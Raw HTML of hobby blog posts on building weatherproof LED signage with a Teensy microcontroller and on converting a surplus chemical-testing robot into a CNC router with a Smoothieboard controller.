<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibDZ683K8kNCIWbxOO1d7eRGvSjlhLNiwQY0HdYG2e83b_ns0JStw5i8CU_Dt5IjvMDCYL_3GK_VdX5Gsj4azPsRibIuNlerE_JaTIces4GZWL0J9NIbKypUza24IvsMdZvuCgETPX8NY/s1600/IMG_20170315_124920.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibDZ683K8kNCIWbxOO1d7eRGvSjlhLNiwQY0HdYG2e83b_ns0JStw5i8CU_Dt5IjvMDCYL_3GK_VdX5Gsj4azPsRibIuNlerE_JaTIces4GZWL0J9NIbKypUza24IvsMdZvuCgETPX8NY/s400/IMG_20170315_124920.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="" style="clear: both; text-align: left;">
The signage will be out in the elements for several days so I built the electronics into a sealed ABS box. All the connectors are reasonably waterproof, if the weather gets ridiculously wet I can easily detach the box and bring it under cover. We are using a <a href="https://www.pjrc.com/store/teensy32.html">Teensy 3.2</a> micro controller to drive the main logo and MOON BASE signs and an Arduino Pro Mini micro controller driving another smaller sign.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEincdjh1v2FoPdfs3hv01u5b7x2tV3VHmgD834mqfjEt_9lR24LI0XtvJiZkJmRs-DBPJEaQiRA-2LLPLu3nDIAdfleuZ34qmfUfvWJzDuGE63caG_7MHmKV428U6fL6M8-NOL8y4PkGPA/s1600/IMG_20170324_180236.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEincdjh1v2FoPdfs3hv01u5b7x2tV3VHmgD834mqfjEt_9lR24LI0XtvJiZkJmRs-DBPJEaQiRA-2LLPLu3nDIAdfleuZ34qmfUfvWJzDuGE63caG_7MHmKV428U6fL6M8-NOL8y4PkGPA/s400/IMG_20170324_180236.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
I attached all of the LEDs to the milled out pieces of plywood and painted all the necessary areas white to reflect the light as much as possible. The logo has 5 individual strip driven through an Ethernet cable with a two core power cable. The MOON BASE signs use microphone cable and connectors which are cheap and readily available.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjymvRLJZkevD4VSDa1qLA-oZii5J3ma61PaBAFAoeXIm9Xf_EEgQoU1KQ9CPqeor5Asq7frnctBV68xvxHavZ9rKkc-LpMFubBhmv9vEq1BARUVdcCEuV1wkO0GAuM2NZzCBfy6IXXmjo/s1600/IMG_20170325_124510.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjymvRLJZkevD4VSDa1qLA-oZii5J3ma61PaBAFAoeXIm9Xf_EEgQoU1KQ9CPqeor5Asq7frnctBV68xvxHavZ9rKkc-LpMFubBhmv9vEq1BARUVdcCEuV1wkO0GAuM2NZzCBfy6IXXmjo/s640/IMG_20170325_124510.jpg" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHU_AHnHDxKbgEA3VCz2U4LBphUVb8ULd8sXVrpFgIItDElgVwEvl9-gdR-dPDAj10CHJzlIS9i6aN2b7QuHh_RDyQ9kUi-Aukv9IuWVmDNjM5B6IahoG0g7guop-hDTLPKcKLM1-Bu_w/s1600/IMG_20170318_131923.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHU_AHnHDxKbgEA3VCz2U4LBphUVb8ULd8sXVrpFgIItDElgVwEvl9-gdR-dPDAj10CHJzlIS9i6aN2b7QuHh_RDyQ9kUi-Aukv9IuWVmDNjM5B6IahoG0g7guop-hDTLPKcKLM1-Bu_w/s320/IMG_20170318_131923.jpg" width="240" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR5nTu53jmWRxCLM8r9F4u1f2oOPB3GecbUNtVf31C6ezmXgHZNHxZtyRND9kCmFxlRc-0UFscLRM4M4C_EJmdkXL3GZOwZmHWm_fDaJso9QyiJqXCxG4mK_Cdv8eindNUtrGEW6y0nCg/s1600/IMG_20170326_164939.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR5nTu53jmWRxCLM8r9F4u1f2oOPB3GecbUNtVf31C6ezmXgHZNHxZtyRND9kCmFxlRc-0UFscLRM4M4C_EJmdkXL3GZOwZmHWm_fDaJso9QyiJqXCxG4mK_Cdv8eindNUtrGEW6y0nCg/s320/IMG_20170326_164939.jpg" width="240" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
I used silicone to attach the poly-carbonate lettering to the main body of the signs. Double sided tape and short wood screws hold the backing onto the main body. After assembling I then went and painted a couple of layer around the edges and sealed the gap between the backing and main body. This should all ensure the signs are weatherproof.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVzgVvKJEqgy0oPCtZ3N9-C6hYYYpOjedg5zrecWr6Nx42_VBJThRr5ceziDC4zoErPq65M7IvzqtGb0_Cuk4xf9coNZqXsk0BJGNDAHdMlkknFqPHgohikx_A4l2w6NrbCtG_ouI_ylk/s1600/IMG_20170328_173004.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="480" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVzgVvKJEqgy0oPCtZ3N9-C6hYYYpOjedg5zrecWr6Nx42_VBJThRr5ceziDC4zoErPq65M7IvzqtGb0_Cuk4xf9coNZqXsk0BJGNDAHdMlkknFqPHgohikx_A4l2w6NrbCtG_ouI_ylk/s640/IMG_20170328_173004.jpg" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
My friend Jon wrote the Arduino sketch to run the signage so all points for the animations go to him. The source code can be found at <a href="http://github.com/vanbujm/Moonbase">github.com/vanbujm/Moonbase</a>. We used the <a href="https://github.com/FastLED/FastLED">FastLED</a> library to drive the LEDs at the low level.</div>
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/Wnn9pL1RGGU/0.jpg" frameborder="0" height="399" src="https://www.youtube.com/embed/Wnn9pL1RGGU?feature=player_embedded" width="480"></iframe>
</div>
mhttp://www.blogger.com/profile/17232225947990688409noreply@blogger.com0tag:blogger.com,1999:blog-6527582820690732985.post-75695455328411503522017-02-24T19:56:00.000+08:002017-12-29T06:41:22.880+08:00CNC router conversion<div style="clear: both; text-align: center;">
<div style="text-align: left;">
I recently got my hands on an automated chemical testing robot that was no longer in use. I plan on turning it into a CNC router, it will mostly be used for cutting wood and plastic but occasionally aluminium. The machine currently has adequately solid X and Y axis bearing setup however the Z axis has a basic rack and pinion design with only two rods and 4 bushings as the linear guide.<br />
<br /></div>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-TeoeSodhqVc/V2Oy8L11PtI/AAAAAAAAHSo/jGFx5sfW9bcxrlXlfXIRCBR42uWgaLKZACKgB/s1600/IMG_20160615_142145.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="https://1.bp.blogspot.com/-TeoeSodhqVc/V2Oy8L11PtI/AAAAAAAAHSo/jGFx5sfW9bcxrlXlfXIRCBR42uWgaLKZACKgB/s640/IMG_20160615_142145.jpg" width="480" /></a></div>
<br />
The Z axis will need to be upgraded to increase its rigidity and handle the weight of the spindle motor. As seen in the photo below the existing Z axis is mounted together with the Y axis motor inside a small, thin walled, aluminium box. The box will be scraped and all the electronics and mounting hardware will be re-used.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOjIqcxDATJvi0HGagT3l2itoL0Hbxb6MEHcJ1BjFVxyDPLe7gutI3JrfcOCNr0ZdwqMD5hJVs_ZYostUHwxSQOhmJCnCRJJAi-FZnWe3x9CnqCXEsQUSyxzxnGCQoR2_yK0ZlHsMh5jw/s1600/IMG_20160616_181819.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="297" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOjIqcxDATJvi0HGagT3l2itoL0Hbxb6MEHcJ1BjFVxyDPLe7gutI3JrfcOCNr0ZdwqMD5hJVs_ZYostUHwxSQOhmJCnCRJJAi-FZnWe3x9CnqCXEsQUSyxzxnGCQoR2_yK0ZlHsMh5jw/s400/IMG_20160616_181819.jpg" width="400" /></a></div>
<br />
The left photo is looking up at the bottom of the box, the pulleys you see are the drive for the Y axis, I will be reusing these as well. The right photo shows the bearings for the Y axis and the Y axis reed switch end stops.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimo7yVF3eK-JYsdDVAOozoymgDBghuKyavE5tjpqAYsrz-i5xmzESjQ0Y5aHoBQTct0SFlk9mymjUkKRp5nr_EhabBFkcOKQA0LTF8YrvEEt8vZdel8RDzjtIdevpBxt8qtqBoxOmVLPw/s1600/IMG_20160616_181800.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimo7yVF3eK-JYsdDVAOozoymgDBghuKyavE5tjpqAYsrz-i5xmzESjQ0Y5aHoBQTct0SFlk9mymjUkKRp5nr_EhabBFkcOKQA0LTF8YrvEEt8vZdel8RDzjtIdevpBxt8qtqBoxOmVLPw/s320/IMG_20160616_181800.jpg" width="239" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw1cAcHeZx0-bnYoIBm1ymKHdCxJZrX_IDADvDo-xfVtwz3mQrMhoBLLc_0hk7TZgLrXIi6t1mGU9uELLaVG5ZMLmVPk91hk2xVCFZkPbCWXM8_Hi51yf8bz6CPCZokdE-MzaPmGGP5Wk/s1600/IMG_20160616_181805.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiw1cAcHeZx0-bnYoIBm1ymKHdCxJZrX_IDADvDo-xfVtwz3mQrMhoBLLc_0hk7TZgLrXIi6t1mGU9uELLaVG5ZMLmVPk91hk2xVCFZkPbCWXM8_Hi51yf8bz6CPCZokdE-MzaPmGGP5Wk/s320/IMG_20160616_181805.jpg" width="240" /></a></div>
<br />
The bearings require a special tool (or perhaps just the right sort of pliers) which I did not have, so I came up with my own solution. It is a shaped piece of thin aluminium stock with a couple of 3mm bolts tapped into it. This allows access to the center where a bolt lays.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimX8cCrA0mgPShGqIXv6rZ1O8uvRCQGjPeaEnJSrAUeIcKaJnFM6q_gUovR8Gba9dTmfqz8cTvNGqXSBcJGDgWSYNL6L2SzVz6QN1S8JETsOX8Keavm6IuGonIALe5p_1xQeBn5iIFeug/s1600/IMG_20160831_112315.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimX8cCrA0mgPShGqIXv6rZ1O8uvRCQGjPeaEnJSrAUeIcKaJnFM6q_gUovR8Gba9dTmfqz8cTvNGqXSBcJGDgWSYNL6L2SzVz6QN1S8JETsOX8Keavm6IuGonIALe5p_1xQeBn5iIFeug/s400/IMG_20160831_112315.jpg" width="300" /></a></div>
<br />
My tool worked great, the allen bolt is actually a cam shaft with the internal bearing riding on it and the outer ring is essentially a lock nut to keep the cam shaft in the right position. This allows you to adjust the vertical spacing between the two sets of bearings.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh97ol-ne7v4s6T2dBnvrTfTJSzKcYGYbeRb9nU7DiuMYpKqdPm0XsXZurFes3sE8m_Uuu82IAmIxkVsCIA4BCKCArYx-ox1xm5tjd3FfYAiygWM1vKi1S4Ytq9oBMW9ZXdDfcanwTuXIc/s1600/IMG_20160831_112325.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh97ol-ne7v4s6T2dBnvrTfTJSzKcYGYbeRb9nU7DiuMYpKqdPm0XsXZurFes3sE8m_Uuu82IAmIxkVsCIA4BCKCArYx-ox1xm5tjd3FfYAiygWM1vKi1S4Ytq9oBMW9ZXdDfcanwTuXIc/s320/IMG_20160831_112325.jpg" width="240" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilEERVR92CbxEcx-VfJqZ-ssT-ePoIrLih3p2zgCJNHrZBNfbNnssX7LUwgxbSK5GJamir6q9msMR05n_AjPReUJCSOnt1T3Tt0ZWx2So2nemZGAeh3u9JejuJghCGH5TbhprfClq4QPE/s1600/IMG_20160616_181405.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilEERVR92CbxEcx-VfJqZ-ssT-ePoIrLih3p2zgCJNHrZBNfbNnssX7LUwgxbSK5GJamir6q9msMR05n_AjPReUJCSOnt1T3Tt0ZWx2So2nemZGAeh3u9JejuJghCGH5TbhprfClq4QPE/s320/IMG_20160616_181405.jpg" width="239" /></a></div>
<br />
I was lucky enough that I had access to an old CNC gluing machine which has a small xy axis carriage. I set about to tearing it down to it's useful pieces. The photo to the right shows my spindle motor next to some of the parts from the gluing machine, I decided to use one of the gluing machines carriages to drive the z axis up and down. This meant I can reuse the belts and motor mount which saves on fabrication.<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhocPKHEz1NoRnK6a0sbwYaDsax9nNDaHrWqwG7XdPP0hX6wVm9kGDiPrHcCYVDoz4gnmsons0gKhUQrrJJHlRHoGMGybvL_YJ9maEVRLsCsERGAnuHLuoOAgKeNNeztsGqI-TFTmODdL4/s1600/IMG_20160731_172957.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhocPKHEz1NoRnK6a0sbwYaDsax9nNDaHrWqwG7XdPP0hX6wVm9kGDiPrHcCYVDoz4gnmsons0gKhUQrrJJHlRHoGMGybvL_YJ9maEVRLsCsERGAnuHLuoOAgKeNNeztsGqI-TFTmODdL4/s320/IMG_20160731_172957.jpg" width="240" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjz3nB6nzBjYwpED30R_KhDo4cnj-O48-qhy12-fC5Xp6t1ZJQm5czyreKP8W5h0MCS365_7OIPllL1yVaegDWf_JSmFxnLrLmZr8ykLn5hTHUNO0ZvrKghMGW2K-YSnvkl2p8diaWnrq0/s1600/IMG_20160802_123851.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjz3nB6nzBjYwpED30R_KhDo4cnj-O48-qhy12-fC5Xp6t1ZJQm5czyreKP8W5h0MCS365_7OIPllL1yVaegDWf_JSmFxnLrLmZr8ykLn5hTHUNO0ZvrKghMGW2K-YSnvkl2p8diaWnrq0/s320/IMG_20160802_123851.jpg" width="240" /></a><br />
<br />
<div class="" style="clear: both; text-align: left;">
These are the linear rails and bearing blocks I got out of the gluing machine. One set of these will be used for the Z axis.<br />
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6gDl-P4lzHIDFuEqBRTD73GWngXs9_hk9MQseGWI1ds2VQvKIPVc2izeEvjP5YqlpAqclEfu6d6Hx59sYbbgFYjpZB3LysMhFhnPP1P1IGLh5WGyOmnrPoMu6OdajycO-0ijTFwQ7reM/s1600/IMG_20160731_180405.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6gDl-P4lzHIDFuEqBRTD73GWngXs9_hk9MQseGWI1ds2VQvKIPVc2izeEvjP5YqlpAqclEfu6d6Hx59sYbbgFYjpZB3LysMhFhnPP1P1IGLh5WGyOmnrPoMu6OdajycO-0ijTFwQ7reM/s400/IMG_20160731_180405.jpg" width="400" /></a></div>
<b><br /></b>
The Y axis on the chemical machine is supported by bearings both sides but only has a single side driven by a motor. That was fine when all it was doing was dropping a probe into some liquid but with a router the forces will be much higher. I will need to add a motor and belt to the non driven side.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfY0ahTtWN5_QuPwWLQ4SO7srw1HUyvwGdTLOmFtcSP89sN4o-nypsT1HkxZGR11YC7_6xQ6JaqmnP885Au0aiowI-G4lA6mgF-acEgYJPmHbKuKCQmmlk0zahNRG6o8Jwky0bm1wkPYg/s1600/IMG_20160616_181415.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfY0ahTtWN5_QuPwWLQ4SO7srw1HUyvwGdTLOmFtcSP89sN4o-nypsT1HkxZGR11YC7_6xQ6JaqmnP885Au0aiowI-G4lA6mgF-acEgYJPmHbKuKCQmmlk0zahNRG6o8Jwky0bm1wkPYg/s400/IMG_20160616_181415.jpg" width="400" /></a></div>
<br />
The plates that holds the Y axis rail to the X axis bearings is what the original X axis motor is mounted to so I will try and mirror this on the other side. I pulled the original non motor side plate off the machine and took all the dimensions for the bearings. I went to a shop called Di Candilo Steel City, they are a steel supplier and manufacturer so I went to their off cut section and bought a small section of aluminium plate that matched the thickness of the plate from my machine.<br />
<br />
I had a couple of spare belts and pulleys from the same place I got the original machine from so I used these to put together the new X axis motor drive. The photo below shows the back side of this plate.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHli9gtoGoFDqEw-USc55cuA0pDj-rhSnPuBniBjDZHkRQ5sVBuiBlw-JyIBGUUiJcNeRoH5RFbcB5wtcJiaIeu7jOiwJSgX8xAZWlH_92LXNa9QkvKGC3GM8huv4ntgj7BU9sAijV5Ek/s1600/IMG_20170224_170504.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHli9gtoGoFDqEw-USc55cuA0pDj-rhSnPuBniBjDZHkRQ5sVBuiBlw-JyIBGUUiJcNeRoH5RFbcB5wtcJiaIeu7jOiwJSgX8xAZWlH_92LXNa9QkvKGC3GM8huv4ntgj7BU9sAijV5Ek/s320/IMG_20170224_170504.jpg" width="240" /></a></div>
<br />
<br />
I ended up going with a Makita handheld router with 750W of power and it has a speed controller built in. This should be good enough for my purposes, I don't really have any idea how long it will last but I have found people making replacement collets for it so evidently someone has liked it enough to make aftermarket parts. The photo on the right shows a large 3D printed block to cradle the spindle motor. These mounts are very wide and are in compression so should handle the loads. The aluminium angle is from the gluing machine I pulled apart.<br />
<br />
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-4ea2_b6Lvo2ZWXPk4ChnnL6UnylVICR8-dQLcIGIcQbLlkSOHCO82BV3Ddb8WAL3H0psznFNFNBEgDUTvKyXMTvj-1gHXD3Uf6c5USvrUFSXfvN2R8WyId8OxrmOpCx3tADjm6OXQ-c/s1600/IMG_20160726_173036.jpg" imageanchor="1" style="clear: left; display: inline !important; margin-bottom: 1em; margin-right: 1em; text-align: center;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-4ea2_b6Lvo2ZWXPk4ChnnL6UnylVICR8-dQLcIGIcQbLlkSOHCO82BV3Ddb8WAL3H0psznFNFNBEgDUTvKyXMTvj-1gHXD3Uf6c5USvrUFSXfvN2R8WyId8OxrmOpCx3tADjm6OXQ-c/s320/IMG_20160726_173036.jpg" width="240" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0ucBHA5pcy67WoptrO_iLJqZR7v5GwNGAJU0s2hI7obqnhwf_HHBp6ywwiUMu6scY1fraByYggCugziWKK6lpS9C-LKZjtJhK1eB2cJ9kOZ_kR6Vjgwsh71cOsvGDv-vGlhm029aStqw/s1600/IMG_20160805_190714.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0ucBHA5pcy67WoptrO_iLJqZR7v5GwNGAJU0s2hI7obqnhwf_HHBp6ywwiUMu6scY1fraByYggCugziWKK6lpS9C-LKZjtJhK1eB2cJ9kOZ_kR6Vjgwsh71cOsvGDv-vGlhm029aStqw/s320/IMG_20160805_190714.jpg" width="240" /></a></div>
<br />
Constructing the Z axis was relatively simple. I used one of the glue machine axes but modified it a bit by moving the linear rail a bit and mounting the bearing block to the back of the spindle mount along with the belt latch. The motor assembly, belts and pulleys were already there so I didn't have to do any fabrication in regards to those. I tried very hard to ensure I had square holes for the Y axis bearings but my first try I was out. Luckily enough I had room to move things around and second time around it was much more true. In the photo below and left you can see the spindle motor is attached using large pipe clamps cut in half and bolted to the motor mount. The photo on the right shows the Z axis mounted to the machine without the spindle motor. For now I have the end stops attached with double sided tape, once I confirm all the motion I will drill and tap some permanent mounting holes for them.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlPEt8aT7avP1HeIdT1aTytDml-ZcmDlP7uVcSFIq3IR4z_w_jzY2-43IpZ_EDL9PLVL-0zu7WpIDPCP-qdLY4Nxc-91nWweguruHP4mdIW7acaFt2_dgLjLk1QERsfJtNqfaFqWtjNQs/s1600/IMG_20160830_152140.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlPEt8aT7avP1HeIdT1aTytDml-ZcmDlP7uVcSFIq3IR4z_w_jzY2-43IpZ_EDL9PLVL-0zu7WpIDPCP-qdLY4Nxc-91nWweguruHP4mdIW7acaFt2_dgLjLk1QERsfJtNqfaFqWtjNQs/s320/IMG_20160830_152140.jpg" width="240" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqJpFQfycvycxDBLcLF9eZj_kd0So0Bw2Gbfq7Q8Lb7jQE9DCDdxgYm8z6dHQ1sSkX04W5MYQIdlZnWI0o0XJB6MWGwJTzPczlkYXKNERRIsHb7_aKB9IRNtnaDWMTqoA0lsz58VkKxrM/s1600/IMG_20170224_170524.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgqJpFQfycvycxDBLcLF9eZj_kd0So0Bw2Gbfq7Q8Lb7jQE9DCDdxgYm8z6dHQ1sSkX04W5MYQIdlZnWI0o0XJB6MWGwJTzPczlkYXKNERRIsHb7_aKB9IRNtnaDWMTqoA0lsz58VkKxrM/s320/IMG_20170224_170524.jpg" width="240" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
The photo below shows the back side of the Z axis, the motor shows drives the along the Y axis using a belt and pulleys.</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTvytBI6EmsrhxFw20HOrZVZWA0CuwwvctFgiSuagPDuK4XOGnJVsRgX8VJKWRah29kYI3RfKNE0l8b2ZkeTwYgPa_WffZYNtMy1dwDovJX9AaXmMzvQ1GtdSNzyaw79pNokMjHsBiPxQ/s1600/IMG_20170224_170438.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTvytBI6EmsrhxFw20HOrZVZWA0CuwwvctFgiSuagPDuK4XOGnJVsRgX8VJKWRah29kYI3RfKNE0l8b2ZkeTwYgPa_WffZYNtMy1dwDovJX9AaXmMzvQ1GtdSNzyaw79pNokMjHsBiPxQ/s400/IMG_20170224_170438.jpg" width="300" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
This photo shows most of the original control electronics pulled out of the control box. The original controller used a large industrial PLC and 3 external stepper driver boards. I have no interest in trying to re-use the PLC and from what I was told one of the stepper drivers was dead so all of that has gone to the junk pile (I'll keep the stepper drivers around for future projects). The only thing I kept from the original box is the power supply and wiring. Pictured sitting in the control box is a small Arduino based RAMPS board I was contemplating using.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDHnG5tNRqzOvQOw7hQs2L_Lps0HQCqzYxtoG8paqyOnFkjBwZAJqhzPDf8qdfW5lABkvPpk5LLPz3fQHn1gjlqclKXni5K-QBY8V6GIFlcuH2WwM8U0zhzmAbSd3ZCzievjJ9v8ClSHw/s1600/IMG_20160624_155939.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDHnG5tNRqzOvQOw7hQs2L_Lps0HQCqzYxtoG8paqyOnFkjBwZAJqhzPDf8qdfW5lABkvPpk5LLPz3fQHn1gjlqclKXni5K-QBY8V6GIFlcuH2WwM8U0zhzmAbSd3ZCzievjJ9v8ClSHw/s400/IMG_20160624_155939.jpg" width="400" /></a><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-s2TWxYIDdQgdaeTYsLDs_ARoZ0eejHfNfzUX7OJUGbCkBpX6tmFjt73nDe_wROsRNMlSZT3WNPuMo3SlduXb0bZogGGp6ZFDtg91On8_NJgQP04x_kHYhLzwmv-uZwVBLmj3urMM-zc/s1600/IMG_20160715_124842.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
For the control electronics I settled on a product called the Smoothieboard, I won't go through all the details of it here but it is a 32-bit ARM board with up to 5 stepper drivers on board, plenty of generic I/O and ethernet connectivity. I could have purchased one of these boards fully assembled online but instead I decided to build one (I actually built two at the same time for about the same cost as buying one). I used a pneumatically controlled dispenser to lay out my solder paste, hand placed all the components with tweezers then re-flowed them in a modified toaster oven. The photo below shows the Smoothieboard installed in the original control box.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBs-MjEHmwdsllPH8v114qyDyYLANHCopd-wdilhPfBzZO205HgeeYr6ZUh3QHtb87AuowxQljpM-4qREHnZwwJDP9hSaDTEDQc-rJgbmZihhXZ8aS2MVkP-klatDiRvs9ENPgJXWoYvA/s1600/IMG_20170224_171540.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiBs-MjEHmwdsllPH8v114qyDyYLANHCopd-wdilhPfBzZO205HgeeYr6ZUh3QHtb87AuowxQljpM-4qREHnZwwJDP9hSaDTEDQc-rJgbmZihhXZ8aS2MVkP-klatDiRvs9ENPgJXWoYvA/s400/IMG_20170224_171540.jpg" width="300" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
I used all of the existing wiring in the machine along with running an extra cable to drive the added X axis stepper motor. I spent a bit of time calibrating the software for the control electronics and making sure everything was reasonably square.</div>
<div class="separator" style="clear: both; text-align: left;">
</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<blockquote class="instagram-media" data-instgrm-captioned="" data-instgrm-version="7" style="background: #fff; border-radius: 3px; border: 0; box-shadow: 0 0 1px 0 rgba(0 , 0 , 0 , 0.5) , 0 1px 10px 0 rgba(0 , 0 , 0 , 0.15); margin: 1px; max-width: 658px; padding: 0; width: 99.375%;">
<div style="padding: 8px;">
<div style="background: #F8F8F8; line-height: 0; margin-top: 40px; padding: 50.0% 0; text-align: center; width: 100%;">
<div style="background: url(data:image/png; display: block; height: 44px; margin: 0 auto -44px; position: relative; top: -22px; width: 44px;">
</div>
</div>
